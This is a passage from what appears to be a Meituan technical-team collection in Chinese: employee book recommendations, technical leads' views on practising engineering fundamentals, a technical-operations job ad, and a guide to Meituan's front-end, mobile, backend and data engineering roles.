
育，甚至得过诺贝尔奖，这些都不能确保你能更正确地认识世界。”

经济管理类：6 本

推荐理由：

最早接触《孙子兵法》，是在自己读小学时看的漫画书。大学毕业工作后读过文言文

原版，最近给孩子买的新一代漫画版又翻了翻。

美团是一家极其重视业界洞察和策略打法的公司。对于每一个 Leader 而言，一旦你
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理解了策略打法这个东西，当你再走出去的时候，你可能就会发现相较于业界很多同

行，你能看到更大的一片天空。所以每一位在美团工作的同学，都该静心、用心学习

公司的长处。

推荐理由：

这本管理书非常适合中层技术管理者学习，而且值得反复阅读。不仅是因为作者具有

强大职业背景，而是因为他有着工程师的背景和思维逻辑，加上特别平实的语言，将

其 20 年的管理经验归纳出了“生产规律、管理杠杆率和激励员工”等方法，这对技

术 Leader“苦练管理基本功”有很强的指导意义！

推荐理由：

当我刚毕业时，我很想知道那些成功人士是如何管理时间的。在这本书里，或许你能

找到答案。而当我建立家庭，有了自己的孩子，就很想知道如何保持家庭与工作的平

衡。微软第三任 CEO 萨提亚·纳德拉在本书中，分享了很多他与家庭成员之间的关

系，以及在工作中如何做出正确的决策。

在这本书里，纳德拉讲述了很多微软关键节点的示例来帮助大家理解做决策的过程。
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在工作中如何赋能他人，如何激发热情，如何激发员工 120% 的潜能。未来不可预

知，当人工智能时代将要到来的时候，如何应对挑战，在本书中，纳德拉也给出了自

己的思考。纳德拉在工作和生活中，都对他人抱有深深的同理心，这样使得他能够成

为一个充满激情、富有使命并极具感染力的人。其实这本书更像是作者的自传，常读

常新。

推荐理由：

《关键时刻 MOT》的作者是北欧航空公司前 CEO 詹·卡尔森，本书结合他在航空

工作中的具体事例，揭示了以客户为导向的经营真谛。客户是市场中最根本、最积

极、最活跃的因素，以客户为导向，其实就是以市场为导向。抓住了客户，就占据了

市场；顺应了客户，就适应了市场；发展了客户，就开拓了市场。客户既是企业生存

之基，也是企业生长之源。任何时候，当一名顾客和一项商业的任何一个层面发生联

系，无论多么微小，都是一个形成印象的机会。口碑的建立需要大家长期努力，但一

个小小的疏忽就可能将它毁灭。

詹·卡尔森在本书中列出的关键时刻十大原则，揭示了企业经营要方。作为一个企业

领导人，创建使企业员工人人都能充分施展聪明才智的环境和平台，才是企业健康发

展的根本内涵。一个人之所以被任命为领导，并不是因为他无所不知，或者有能力制

定所有的决策，而是因为他懂得汇集众人的智慧，并为完成工作创造条件。领导者就

是创造条件使工作得以推进的人。另外，领导者还必须在很多方面扮演“启蒙导师”

的角色，自觉自愿地将公司愿景与目标散播到每一个角落。建议该书可以跟《领导梯

队》一起结合看。
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推荐理由：

不少技术管理者包括自己在内，管理技能更多来自于个人实践，缺乏系统性、规范

性。这本书系统地从工作理念、时间管理、工作技能方面为各个层级的同学发展提供

了指导，相信对个人的成长和发展都会有很大的帮助。

推荐理由：

这本书让我明白了经济学到底是干什么的，也让我从另一个角度去看待这个世界的

70 亿人每天忙忙碌碌的到底都在干什么，让我明白了自己应该追求什么。

这并不是一本工具书，读这本书并不能立即使我们的工作效率发生改变，读这本书可

能更容易帮助塑造或升级我们的思维范式，正如《科学革命的结构》所说，“范式改

变了，整个世界也就改变了”。这本书对我们的影响是潜移默化的，影响我们看待世

界的角度和理解世界的方式，真正影响的是我们未来的每一次决策，而决策影响了最

终的结果。
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哲学历史类：8 本

推荐理由：

《光荣与梦想》是美国的一部社会纪实作品，作者勾画了从 1932 年罗斯福总统上台

前后，到 1972 年尼克松总统任期内水门事件的四十年间美国政治、经济、文化，

以及社会生活的全景式画卷。在当前大家对疫情有较悲观的判断情况下，可以参考

一下书里面详细的描写大萧条时期的景象，相信会对“经济危机”有一个较为深刻

的认识。

推荐理由：

这本书推荐给喜欢历史的同学。历史是人物组成的，人物是故事串联的，通过一个个

人物的讲述，让历史更立体、更有趣。

这本书用 300 个人物讲述 38 年的民国历史，波澜壮阔，史有余音。既不是三皇五帝

神圣事，也不是朱李石刘郭梁唐晋汉周。说到“民国”，我们最先能想到的是什么？

是军阀混战和外敌入侵，导致的山河国破；还是大师辈出，在各自的领域叱咤风云；

抑或是那些红尘儿女，上演的爱恨情长。每个文明的更替时期，一则英雄辈出，二则
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哀鸿遍野。与激烈动荡的春秋魏晋相比，民国莫不如此。这里有非常大总统，有蒋宋

孔陈“四大家族”，有 C.C. 派 / 宪政派 / 中统军统，还有南苑、铁狮子胡同等身边地

名，加上滕老总的诙谐讲述，非常精彩！

推荐理由：

从古希腊罗马文化、基督教教义、日耳曼战士文化等角度，梳理了多种混合起源汇

聚而成的欧洲文明脉络。本书中文译文非常流畅自然，将我脑海中的历史课本、传

奇电影、宗教等零散的认知串连了起来。对历史的偶然与必然，也有了更加清晰的

认知。历史是一面镜子，读完本书后，我对欧盟、英国乃至整个西方的历史，有着

一些独立的判断。建议大家利用通勤等碎片化时间来进行阅读，相信一定会给你带

来很大的收获。

推荐理由：

亚里士多德的世界观认为地球位于宇宙中心，是静止的，这个观点一直维持了 1900

年左右，直到被牛顿世界观颠覆和取代，而近代相对论和量子力学的快速发展，正在

对牛顿世界观发起挑战。对于一个科学理论来说，不管有多少可以证明其正确性的证
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据，这个理论是错误的可能性始终存在。我们只有不断摸索、验证，一步步、一次次

向未知领域发起挑战，才能揭开那一道道蒙住双眼的黑纱，让人类的文明不断的升

级、迭代。

推荐理由：

在近一年，很多时候会因为工作，想去追求完美的结果，想尽快的达到技术层次的那

个点，反而感觉到很焦虑、很烦躁、很心慌，仿佛自己使劲了全身的力气，而不可

得，心力交瘁，惶惶不安。

一次偶然的机会，看到《当下的力量》这本书，从中学到了很多，为我打开了生命另

一窗的解读。佛家追求禅，道家追求道。我们每个人生活在这个世界，我们真正追求

的是什么？这个问题，可能很多人会思虑良久，或者很多人终其一生也不会去想。

《当下的力量》这本书的作者经历了人生的很多痛苦阶段，最后“开悟”，所以写了这

本书，作者希望能够帮助更多的人从恐惧焦虑这些负面情绪的“小我”中“开悟”出

来。当我们作为一个旁边者去看我们的大脑，我们可以看到，有工作的片段，有家庭

的片段，有明天的计划，也有昨天的故事，更有千头万绪的思维。而我们将注意力集

中在当下的此时此刻，如果能够将脑海里面的“万念”变成关注当下的“一念”时，

我们就能够得到内心的平静和喜悦。

不相信的话，那就闭上眼睛，清空自己的大脑，去听、去闻、去感受。你得到了什

么？我听到了激扬的音乐，闻到了春天的味道，感受到了暖暖的阳光。当下的这一

刻，我感觉自己已经拥有了很多，我是幸福的，美满的。我们的情绪来源，往往源于

过去的事情和对未来的渴望。但过去的已经过去，无法改变，要学会放下。当下的每
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一刻都在变成过去的每一刻。过好当下的每一刻，就是给予美好的回忆。未来还没有

到来，未来的每一刻，在当下已经到来。未来的所有，是当下的每一刻积累而达。或

许，这也是对美团价值观“长期有耐心”的另一种解读。

推荐理由：

掌握规律、运用规律是战胜各种问题的制胜法宝，以史为鉴能让我们更加从容的面对

挑战，转为危机。肺炎疫情的出现对全球社会都是一次很大的冲击和重构，在人类历

史上的数次危机之下，各大洲区域国家也有着不同的变迁。从这本书里可以看到一些

历史发展的规律，不仅是能够让我们更多地了解过往世界运转的逻辑，同时对未来的

不确定性也有会更多的预见和理解。

推荐理由：

这本书简单点来说就是明朝王阳明的言论集，从思想贡献和功绩综合来评判，中国五

千年历史长河中，能跟他 PK 的，除了孔圣人之外，可能就只有晚清的曾国藩了。

当然对我们大部分人来说，都不敢奢求这么高的成就。事实上，任何人都不可能通过

照搬别人的理论取得多大成就。本书对我们的意义，更多是只要合理坚信和笃行，怀
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着一颗纯粹的心去面对一切，那么无论遇到什么波浪，人生的终点终究不会太差。总

的来说，《传习录》对大部分人来说，不可能是乘风破浪的“神器”，但一定可以作为

起伏人生的“稳定器”，在当前飞速变化的世界中给内心补充那一点宝贵的确定性。

推荐理由：

我是从去年才开始接触和学习心理学相关知识的，最开始读的是《态度改变与社会影

响》，但是因为没有学习过心理学的基础学科，读起来还是比较费劲的，尤其是当书

中引用不同时期的心理学家观点时，一些专业术语是很难理解的。

为了能更好地理解整个心理学学科的发展历程和一些专业术语的来源，我找到了这本

《西方心理学史》。这本书很系统地讲述了心理学各个理论分支的起源和发展历程，读

完之后再有选择地选取感兴趣的理论分支书籍来阅读，不仅能更好地理解书中的理

论，更重要的是可以更客观地看待书中的观点。

其实，任何一门学科都离不开其历史知识。“任何一门学科的学习者和研究者都要正

视、尊重、深思其学科的历史，而不能轻视、阉割、曲解其学科的历史。”有了这个

基本的认知，以后不管是阅读哪一类学科的书籍，先去了解学科的历史背景，就能够

让我们更客观地理解和吸收各个学科中的精华。
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人物传记类：3 本

推荐理由：

在逆境和困难中寻找机会，灰度决策。在处理国内外的各种矛盾时，凸显智慧。邓爷

爷的处世之道，还有他老人家对历史大势的把握，非常值得我辈中人借鉴学习。

推荐理由：

本书出自伟大的科学家阿尔伯特·爱因斯坦，有幸在疫情期间与之相遇，与其说是影

响，不如说是共鸣，书中有这么一段话：“一直以来，对真、善、美的追求照亮了我的

道路，不断给我勇气，让我欣然面对人生。如果没有志同道合的友情，如果不专注于

探索客观世界，那个在艺术和科学研究领域永不可及的世界的话，生命对我而言就毫

无意义。”生命的意义是一个值得思考的问题，在这个基础之上，如果能有志同道合

的朋友“幸甚至哉”。
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推荐理由：

曾国藩用一生捍卫、守护了自己珍视的文化和信仰，他死在了“补天填海”的路上。

曾国藩用自己的一生，证明了人的意志力所能达到的高度。同时，也证明了一个人意志

力的局限。他无望地努力在人类精神征途上，树起了一座令人不得不肃然起敬的丰碑。

“曾国藩先生”对我辈的人生有巨大的借鉴意义，从一个名不见经传，没有家庭背景

的人到成为清代名丞，他身上有太多值得学习的智慧。先生从资质平平到最后超凡入

圣，可以说真正做到了古往今来“自律第一人”。任何时候都要进行自我反省，有清

晰的自我认知。立功，立德，立言，先生他都做到了。

如果你想看更多书单的话，那就赶快加入美团技术团队吧，美团有一个藏书过万的

“P2P”图书馆！

 美团图书馆

 美团图书馆藏 13000 多册纸质书，306 本电子书，并有 O’Reilly Safari 英文

电子书库（四万多计算机技术和管理图书！）、ACM Library、知网、极客时间

等多种电子资源，为了打造大家身边的移动 P2P 图书馆，除了 37 个分馆分布

在全国各大办公区，还有个人贡献的热门书籍在工位供随时借阅。期待优秀的

你加入，一起学习成长。

但读完书，并不意味着我们的“任务”结束。下一步，我们需要应用书中的知识。美

团联合创始人兼 CTO 王慧文在一次内部分享中提到：“读书，要做到知行合一。你相

信读书的作用是一回事，你相信书里面讲的道理去执行是另外一回事。”

最后，希望每一位同学都能坚持读书并学以致用，这样才能成为更好的自己。
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工程师的基本功是什么？该如何练习？听听美团技
术大咖怎么说

作者：美团技术学院

在美团有一句老话，叫做“苦练基本功”。美团创始人王兴解读的基本功是业务和管

理的基本动作。只要能把基本功扎实练好，就能产生巨大价值。然而滴水石穿非一日

之功，练好基本功是一个长期的事情。

苦练基本功，我们要调整好心态面对长期的挑战，同时在重复工作中得到自我提升，

将简单的事情做到更好，将我们的能力提高一大截。

那么对于技术团队来说，专业基本功是什么？又该如何练习呢？一起听听美团技术大

咖是如何理解技术基本功的吧……

技术基本功存在于每一行代码中

@美团金融技术负责人

“好” 的程序员和 “差” 的程序员，一般来讲都可以实现同样的需求。但是，他们写出

来的程序在效率、质量、可维护性、可读性、可扩展性等维度可能存非常明显的差

别，这种差别很大程度上取决于他们的技术基本功。 技术基本功存在于每一个项目、

每一个代码文件、每一行代码中，是需要技术同学持续积累、持续锻炼的。 如何练好

技术基本功？我认为最关键的是要不满足于仅搞定当下的需求，还要不断对自己提出

更高的要求——Bug 能否更少？以前趟过的坑是否可以避免？能否满足未来变化的需

求？是否可以做到代码即文档？只有不断提高标准，持续地实践，才能不断打磨好基

本功，让自己变得更加优秀。
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把基础技能练扎实，就能形成肌肉记忆

@美团平台技术负责人

技术基本功就是我们在从事技术工作过程中最基础的技能。把基础技能练扎实，就能

形成肌肉记忆，收获的不仅是工作交付的质量变得更高，更重要的是工作也会变得更

高效。只有这样，我们才可能有更多的时间和精力学习更高的技能，负责更复杂、更

重要的工作。 我认为的技术基本功，应该包括计算机技术基础知识、编程规范与原

则、设计模式、单元测试等等。而技术基本功的特征是那些最通用、最泛用的基础技

能，不受具体业务或问题的束缚，不受技术角色与水平的束缚，也不受实现路径与方

法的束缚。 如何练好呢？一是学习行业标准的基础技能，不断提升自己的认知；二是

经年累月的大量实践；三是经常总结复盘，Review 自己过去的工作，不断找到待提

升点。

基本功易学难精，并具备持续的可提升性

@美团快驴技术负责人

一万小时定律说：“人们眼中的天才之所以卓越非凡，并非天资超人一等，而是付出

了持续不断的努力。1 万小时的锤炼，是任何人从平凡变成世界级大师的必要条件”。

对技术同学来说更是如此。

基本功是基础的知识和技能，易学难精，并具备持续的可提升性，反复训练提升后才

能发挥巨大的价值。建议大家能够保持好奇心，坚持深度思考，脚踏实地，追求卓

越，长期有耐心。

练习基本功没有捷径

@美团到店餐饮技术负责人

技术基本功决定了公司整体的技术水平，也是区别工程师段位的重要特征。对工程

师而言，设计、编码、定位 Bug 是三项重要的基本功。技术基本功不易衡量和考
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核，它的提升更多源于工程师内心的技术理想以及把技术工作做到极致的态度。

练习基本功也没有捷径，需要务实的心态、严谨的逻辑。当然，每一次设计、编码

和 Bug 定位都是提升技术基本功的机会。此外，阶段性复盘对工作的持续提升也有

帮助。

用最高的工作标准牵引基本功的锻炼

@美团交通技术负责人

技术基本功，应该是工程师日常工作中高频发生的动作，比如做设计、写代码、

Code Review、问题排查等等，是每一个工程师都必须掌握并且可锻炼提升的一些

基本能力。只有基本功动作过硬，才能赢得团队信任，才能持续攻下山头，最终拿到

业务结果，实现个人的成长。 在训练方法上，我认为重要的一点是坚持在日常工作

中「追求卓越」，用最高的工作标准牵引基本功的锻炼，然后通过基本功提升来支撑

更高的交付标准。希望大家能够认识到技术基本功的重要性，提高苦练技术基本功的

意识，并在日常工作中对其反复锻炼和提升。

写在后面

除了技术大咖的分享之外，我们也为大家准备了美团技术团队工程师此前写的两篇成

长心法。

第一篇是《工程师如何在工作中提升自己 ?》，古人云：“活到老，学到老。”互联网

技术日新月异，很多工程师都疲于应付，叫苦不堪。如何在繁忙的工作中做好技术积

累，构建个人核心竞争力，相信是很多工程师同行都在思考的问题：

https://tech.meituan.com/2018/04/16/study-vs-work.html
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 ● 文章的第一部分阐述了一些学习的原则。任何时候，遵循一些经过检验的原

则，这些都是影响效率的重要因素，正确的方法是成功的秘诀。

 ● 提升工作和学习效率的另一个重要因素是释惑和良好心态。第二部分分析了作

者在工作中碰到和看到的一些典型困惑。

 ● 成为优秀的架构师是大部分初中级工程师的阶段性目标。第三部分剖析架构师

的能力模型，让大家对目标所需能力有一个比较清晰的认知。

第二篇是《写给工程师的十条精进原则》，作者分享了自己用 8 年的时间从一个职场

小白逐步成长为一名技术 Leader 的经验。

很多技术同学工作中并不是不努力，但收效甚微，到底是哪里出了问题呢？经过一段

时间的观察与思考后，作者总结了很重要的一项原因：大多数同学在工作中缺乏原则

的指导。原则，犹如指引行动的“灯塔”，它连接着我们的价值观与行动。

桥水基金创始人雷·达里奥在《原则》一书中写道，我们每个人都应该有自己的原

则，当我们需要作出选择时，一定要坚持以原则为中心。这篇文章总结了十条工程师

的精进原则：

 ● 原则一：Owner 意识

 ● 原则二：时间观念

 ● 原则三：以终为始

 ● 原则四：闭环思维

 ● 原则五：保持敬畏

 ● 原则六：事不过二

 ● 原则七：设计优先

 ● 原则八：产出 / 产能平衡

 ● 原则九：善于提问

 ● 原则十：空杯心态

以上这些原则有的侧重于个人做事情的方法，比如“Owner 意识”、“时间观念”、

https://tech.meituan.com/2018/08/16/10-principles-for-engineers.html
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“以终为始”、”闭环思维”等等；有的侧重于团队工作标准规范，如“保持敬畏”、

“事不过二”、“设计优先”等等；有的侧重于团队或个人效能提升，如“产出与产能

平衡”、“善于提问”、“空杯心态”等等。这些原则也是作者多年在工作与学习中，不

断总结得来的经验。希望对大家的进阶成长能够有所帮助。

招聘信息
美团技术运营团队纳新啦！这是一个温馨有爱且非常重视学习和成长的小团队，做的事情有意

思也很有挑战。加入我们的话，你可以跟美团近万名优秀工程师同学打交道，你能够接触到很

多前沿的技术、思想，还能近距离接触很多业界的技术牛人……

期待优秀的你加入我们，欢迎大家自荐或者推荐 ~ ~

岗位职责
1. 根据公司战略方向，规划公司内外支持研发团队的运营项目，包括内容产出、线上线下活动

策划组织等。

2. 有效拓展、运营、维护传播渠道，建立完善的合作、传播机制和体系。

3. 独立负责项目的实施，通过与项目相关方沟通获取必备资源，通过数据分析评估各类运营动

作的效果。

4. 有效整合各方资源，促进公司内部研发团队的分享交流，提升研发团队对外的技术影响力。

任职要求
1. 喜欢和研发同学打交道，了解他们的喜怒哀乐。

2. 本科及以上学历，3 年以上运营工作经验。

3. 思路清晰，注重细节，具备较好的数据分析和时间管理能力。

4. 有责任感，聪明并热爱学习，自信开朗。

5. 优秀的文字功底和表达能力，一定的活动 / 会议 / 展览组织、执行能力，有产品或用户运营、

项目管理、市场文案及编辑记者经验者优先。

感兴趣的同学可投递简历至：tech@meituan.com（邮件标题注明：技术运营）
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想进美团不知道选哪个技术岗位？这里有一份通关秘籍！

作者：王鹏

春暖花开，美团春招已经启动，针对校招和社招开放了几千个职位，其中很大部分都

是技术岗位。

随着互联网的高速发展，技术岗位在不断地细分，比如软件开发不仅分为前端和后

端，前端会分为 Web、iOS 和 Android 三个方向，后端又分为后台、系统、数据等。

现在异常火爆的 AI 方向更是让人「眼花缭乱」，深度学习、数据挖掘、NLP、人脸识

别、知识图谱等等。那么，我们应该如何更好地选择适合自己的技术岗位呢？

今天我们就逐一介绍各个技术岗位的区别以及对应的岗位要求，然后再解读一下美团

面试官会考核的基本能力和软素质，最后我们还附上了来自美团学长学姐的建议，希

望这份「通关秘籍」能帮助大家对号入座，找到自己理想的工作。
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一、美团技术团队分哪些专业方向？

经过多年耕耘和沉淀，美团技术团队已经建成了比较完备的技术体系，有基于主流开

源技术加自研的大数据、基础架构、复杂业务系统平台，以及比较完备的运维、安

全、风控系统。目前，美团技术团队主要分成前端、后台、系统、数据、测试、运

维、算法等技术方向（内部称为通道），每个方向下面又可能包括几种岗位。

特别要提醒大家注意的是，各个方向和岗位的竞争激烈程度每年是不一样的。今年的

推荐算法和嵌入式系统、计算机视觉竞争比较激烈，而前端尤其是移动客户端开发、

测试、硬件、安全、数据领域则相对平和。以下是 2020 年春季美团技术团队部分岗

位（实习生）的投递录用比（已经收到的简历数：拟招聘的岗位数），供大家参考：
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前端开发工程师

前端也称为大前端，分为 Web 前端和终端两大方向。作为连接用户和企业的技术工

种，前端涉及的领域越来越广泛，已经不再局限于桌面、手机等环境。在目前大前端

融合、5G 的趋势下，想象空间越来越大，给前端工程师带来广阔的成长发展前景。

选择前端的 7大理由：

 ● 前端是最接近用户的技术团队，能够第一时间了解用户的需求，是那些对用户

体验、交互感兴趣的同学的最佳选择。

 ● 前端是最容易成为全栈工程师及技术「多面手」的岗位。前端能快速实现原型、

快速给用户推出新产品或者新的用户体验，很容易获得职业层面的成就感。

 ● 前端技术发展迅速，这里特别欢迎有创造力、有想法的同学，技术栈广，有众

多的岗位选择和发展空间。

 ● 前端是美团技术团队中交流最广泛、交流渠道最多、交流氛围最好的团队，在

这里你能够认识足够多的技术大牛，也提供足够大的舞台让有想法的同学去展

现自己的风采。

 ● 相比有些学习曲线比较陡峭的技术岗位，前端的学习成长曲线相对平滑。因为

绝大多数高校都不开设前端开发的相关课程，而且前端技术还在不断发展和更

迭，前端开发领域对所有的新入门同学都比较友好，这是一片蓝海，等待有梦

想的你去不断开拓。

 ● 前端是代码和视觉的结合，是技术和艺术的交融，前端能带给用户最简单直

接、最炫酷的视觉享受和用户体验。

 ● 前端开发是目前互联网领域最炙手可热的技术方向之一，各个公司都高薪争夺

前端领域的技术人才，未来可期。

Web前端

 对应岗位名称：前端开发，Web 前端开发。
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美团对前端工程师候选人重点考核的专业知识及专业技能

1. 专业背景：专业技能主要覆盖计算机专业的基础课程，包括数据结构、计算机

组成原理、计算机网络、操作系统、数据库、软件工程、C++ 或 Java 编程

语言等。此外，现在前端对算法的要求越来越高，在算法方面理解深刻的同

学，会有加分。

2. 专业知识：扎实的 6 项基础知识：HTML、CSS、JavaScript、移动 Web 开

发、调试、HTTP 网络知识。

3. 技术能力：前端工程能力，构建和持续集成。特别是 Coding 能力，能够准确

地理解需求，并快速实现高质量的代码。

4. 加分项：掌握 Web 安全基础知识、浏览器组成及原理方面的基础知识，熟练

使用常用的前端框架（React/Vue 等）并对其原理有一定的认识。

终端

 对应岗位名称：iOS 开发，Android 开发，移动端开发，客户端开发。

目前，终端也称移动端、客户端，主要按两大平台分为 Android 开发和 iOS 开发。

这个方向的优点是对同学们的经验要求较少，只要有较好的编程基础和比较扎实的计

算机基础知识，都欢迎加入。

Android 开发工程师

在过去十年中，Android 已经成为和 iOS 并驾齐驱的移动开放平台。未来十年，

Android 必将在万物互联的生态中占据更加重要的位置，未来可期。虽然「移动端」

的概念被提及的次数越来减少，但目前手机的应用市场中每天仍有几百万量级的 App

在活跃，而这都需要移动端工程师去开发完成。

此外，App 是企业和用户交互的桥梁，直接影响用户体验以及用户对公司品牌的感

受，其重要性不言而喻。在美团 Android 开发团队，你写的代码可以影响到数亿用

户，你可以把一个个创新的想法，在亲人和朋友的手机上变成实实在在、可以看得见
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摸得着的界面，相信这一定会让你收获满满的成就感。

美团对Android 工程师候选人重点考核的专业知识及专业技能

1. 专业背景：了解计算机基础知识，包括计算机原理、操作系统、网络、算法等；

2. 技术知识：重点强调 Java，其次是 C/C++ 和数据结构，这些是最基本的要

求，然后是 Android 开发的基础知识；

3. 编码能力：具备一定的编码能力，包括边界条件、编码风格等。

iOS开发工程师

如果你希望自己的工作成果被亿万人直接使用，那么就来做客户端吧！如果你觉得

iPhone 真香，那么就来做 iOS 开发工程师吧！在这里，你可以感受技术与体验的完

美结合，在成就用户的同时成就自己。在美团，iOS 工程师有着明确的培养路径，美

团技术学院提供了丰富的技术文档和课程来帮助大家成长。值得一提的是，校招候选

人不要求有 iOS 开发经验，只要具备良好的 CS 基础便可以。加入美团，我们会帮

你快速成长为一名优秀的 iOS 工程师。

在美团技术团队，iOS 工程师主要责任就是打造美团和大众点评等超级 App，为它

「添砖加瓦」。我们追求更高的代码质量，让 Bug 远离用户；我们追求更高的编程效

率，可以让新功能更快地交付给用户。当然，在做完业务需求之余，你可以投身研究

一些 OC 语言的特性、App 的性能优化、Hybrid 技术等等。你也可以探索一些工程

层面的奥义，比如组件化、平台化、插件化、动态化、自动化，任君遨游。

目前，大家纷纷涌向人工智能、机器学习、图像识别等比较热门的技术领域，千军万

马挤独木桥，其难度可想而知。殊不知 iOS 领域因近些年人才过度稀缺，市场发展前

景非常好。更重要的是，当你成为一名 iOS 工程师以后，你将常年接触 iOS 与 Mac

系统，杜绝工作环境中的脏、乱、差，体验优雅、高效、丝滑的开发流程，这也将直

接影响到你的生活习惯，让你变成一个有追求、有审美、有品位的「攻城狮」。
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美团对 iOS工程师候选人重点考核的专业知识及专业技能

1. 专业背景：了解计算机基础知识，包括计算机原理、操作系统、网络等，这是

客户端开发的通用技能；

2. 技术能力：基本数据结构与算法，Coding 能力；

3. 加分项：对 OC 语言特性能够熟练掌握，了解跨端技术，有一定的技术广度。

技术细节请参考美团前端方向的技术文章：

 ● Flutter 的原理及美团的实践

 ● React Native 在美团外卖客户端的实践

 ● 深入剖析 Swift 性能优化

 ● 美团点评金融平台 Web 前端技术体系

 ● Android 兼容 Java 8 语法特性的原理分析

后台 / 系统开发工程师

 对应岗位名称：Java 开发，后端开发，系统开发，服务端开发。

后端在美团又分为后台和系统两个方向。这是最体现以互联网技术改造实体经济的

方向。

后台方向总体偏 to C（消费者）的产品系统及其依赖的基础平台的研发，包括但不限

于：Web API、商品 / 库存 / 价格系统、交易系统、促销引擎、支付系统、评价系统、

存储系统、消息队列、OCTO、计算平台、检索架构等等。比如我们每一次点外卖时

的交易履约都是由后台系统来提供服务的。

后台方向承担了美团基础架构以及各条业务线工程系统的建设，为美团的业务提供了

云端保障，包括功能开发、平台建设、基础架构升级等工作，在巨大流量下，为用户

提供高性能、高扩展、高并发、高可用、高效率的服务，支撑美团各业务提升运营效

率、决策效率，提供良好的用户和商家体验。后台通道也是美团内部最大的一个技术

通道。

https://tech.meituan.com/2018/08/09/waimai-flutter-practice.html
https://tech.meituan.com/2019/12/19/meituan-mrn-practice.html
https://tech.meituan.com/2018/11/01/swift-compile-performance-optimization.html
https://tech.meituan.com/2018/03/16/front-end-web-architecture.html
https://tech.meituan.com/2019/10/17/android-java-8.html
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系统方向偏商户端和公司内部的核心系统的研发，通过技术手段不断提升供给侧效

率，降低成本，提升用户体验，促进业务目标达成。随着业务在不断发展变化，美团

的新业务在不断涌现，系统方向面临着更复杂、更新鲜的业务场景，也有更多的业务

挑战等待着你来解决。

加入美团系统通道，你能够接触线上线下复杂业务，并通过技术手段为业务赋能，进

而快速成长为一名懂业务的技术专家。对业务的深刻理解和实践经验会让你身价翻

倍，在未来长期的职业发展上有更多选择。美团系统通道牛人多，学习机会多，个人

成长快，可以帮你全方位进行提升。值得一提的是，系统通道的成长路径后半段是比

较广阔的，离业务更近，能更好地理解公司的商业模式。对于那些有野心的、未来想

去创业的同学来说，系统通道是比较合适的方向。

选择后台方向的 5大理由：

 ● 互联网已经从「黄金时代」走到「青铜时代」，精细化运营对面向用户的后台

业务系统提出更高的要求，业务场景复杂多变，后台 / 系统开发工程师面临更

大的挑战，且招聘需求量也非常大。

 ● 后台 / 系统是支持业务最核心的一环，技术体系广且深，对特别优秀的候选人

来说，未来可以选择做业务，也可以选择做技术。发展空间几乎没有上限，只

要你足够努力。

 ● 在美团后台 / 系统通道，行业大牛众多，直接解决复杂业务系统架构设计，面

向全社会的用户和商家，可以参与最前沿技术的研究与实践。

 ● 美团后台 / 系统通道采用导师制，一对一培养。能帮助候选人提升分布式架构

设计能力，在丰富的一线实践中，快速成长为优秀的互联网后台开发者。

 ● 喜欢逻辑实现，喜欢高并发、高可用、高性能业务场景技术挑战同学比较适合

选择后台 / 系统通道。

这里是亿级用户规模的平台，这里有持续快速增长的业务，而后台 / 系统工程师能够

负责驱动并引领业务的发展，这就是我们的价值。期待优秀的你加入我们！



工程师文化　<　1137

美团对系统 / 后台开发工程师候选人重点考核的专业知识及专业技能

 ● 计算机基础扎实，熟悉计算机相关的知识包括数据结构、算法、操作系统、计

算机网络、面向对象编程、设计模式、多线程等等。

 ● Coding 能力，掌握至少一门开发语言（Java/C++ 等）。

 ● 了解常见的后台 / 系统开发技术，最好阅读过一些项目的源码。

技术细节请参考美团后台 / 系统方向的技术文章：

 ● 字节码增强技术探索

 ● 不可不说的 Java“锁”事

 ● 领域驱动设计在互联网业务开发中的实践

 ● 美团容器平台架构及容器技术实践

 ● 高可用性系统在大众点评的实践与经验

数据开发工程师

 对应岗位名称：数据开发，数据仓库工程师，大数据工程师。

小数字成就小人生，大数据创造大未来。数据是 DT 时代的「石油」已经成为业内

共识。数据技术是企业业务发展的根基，小到一个功能模块的设计优化、产品精细

化运营、用户精准化营销，中到 C 端千人千面的产品体验、B 端数字化赋能，大到

公司战略定制和决策、创新业务人工智能的突破，数据的应用已经是面面俱到。而

且大数据已经成为各个公司的基础设施，伴随着 AI 技术浪潮的到来，大数据也会变

得越发重要。

数据通道主要涵盖两大技术方向，一个是数据研发方向，涵盖面向数据资产的数据清

洗、加工、整合、挖掘、管理、运营等技术领域，主要包括批处理和实时数据仓库的

建设、数据管理、数据价值落地的同学，以及做数据运营的同学。另一个是数据系统

研发方向，涵盖批处理、实时数仓开发工具链、BI 系统、数据管理系统等数据系统研

发同学。数据开发通道希望通过数仓建设、数据系统建设，来提升公司数据质量、数

据效率、数据安全，以数据驱动的方式帮助美团完成业务目标，持续提高公司的运营

https://tech.meituan.com/2019/09/05/java-bytecode-enhancement.html
https://tech.meituan.com/2018/11/15/java-lock.html
https://tech.meituan.com/2017/12/22/ddd-in-practice.html
https://tech.meituan.com/2018/11/15/docker-architecture-and-evolution-practice.html
https://tech.meituan.com/2016/02/04/high-availability-systems-dianping.html
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效率和核心竞争力。

美团数据通道负责上游系统数据的集成、建模、应用数据和系统的研发，支持和赋

能业务、商分和产研等部门在业务运营、管理、策略迭代方面的决策。数据不是单

纯的数字，我们已经通过对数据进行集成、处理、分析和管理，逐步将数据打造成

为美团最为重要的资产。此外，数据通道还为美团提供基于大数据体系的基础数据

平台、数仓平台和商业分析平台，为美团的数字化运营提供了提供高质量、高效率

的数据服务。

选择美团数据通道的 5大理由：

 ● 数据是一个非常综合的领域，同学们将有机会得到多种技能的训练和培养。数

据通道同学可以选择大数据平台搭建、数据资产构建、数据分析、数据挖掘和

数据服务化等不同方向，可学习的开发技能包括系统开发技能、数据建模技

能、数据应用开发技能等不同方面。在美团，数据人才的发展会有更多的可

能性。

 ● 数据是与业务贴近程度最高的技术门类之一，同学们在为业务提供数据解决方

案的过程中，将会得到商业思维和业务管理能力的训练。

 ● 数据相关技术和技能「浩如烟海」，非常适合对技术追求长期有耐心的同学。

而且任何行业和领域的工作都需要数据能力的直接支撑。未来数据人才培养难

度较高，市场需求也非常旺盛。

 ● 美团拥有本地生活领域海量的数据资源、丰富的数据应用场景以及极具挑战性

的工作。在美团数据通道，你将有机会参与到 PB 级数据项目实践，参与业界

一流的分析平台建设，应用到业界最先进的技术和知识，接触到吃喝玩乐住行

的全链条数据。

 ● 美团的数据体系属于国内顶尖级别，数据通道通过精准、专业的组织建设，为

公司的数据开发者带来归属感，提供了专业学习交流机制以及职业晋升指导和

渠道。特别是对校招生来说，美团还为大家提供贴心的技术学习和职业发展指

导，能够帮助大家迅速成长为一名合格的大数据专业人才。
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美团对数据开发工程师候选人重点考核的专业知识及专业技能

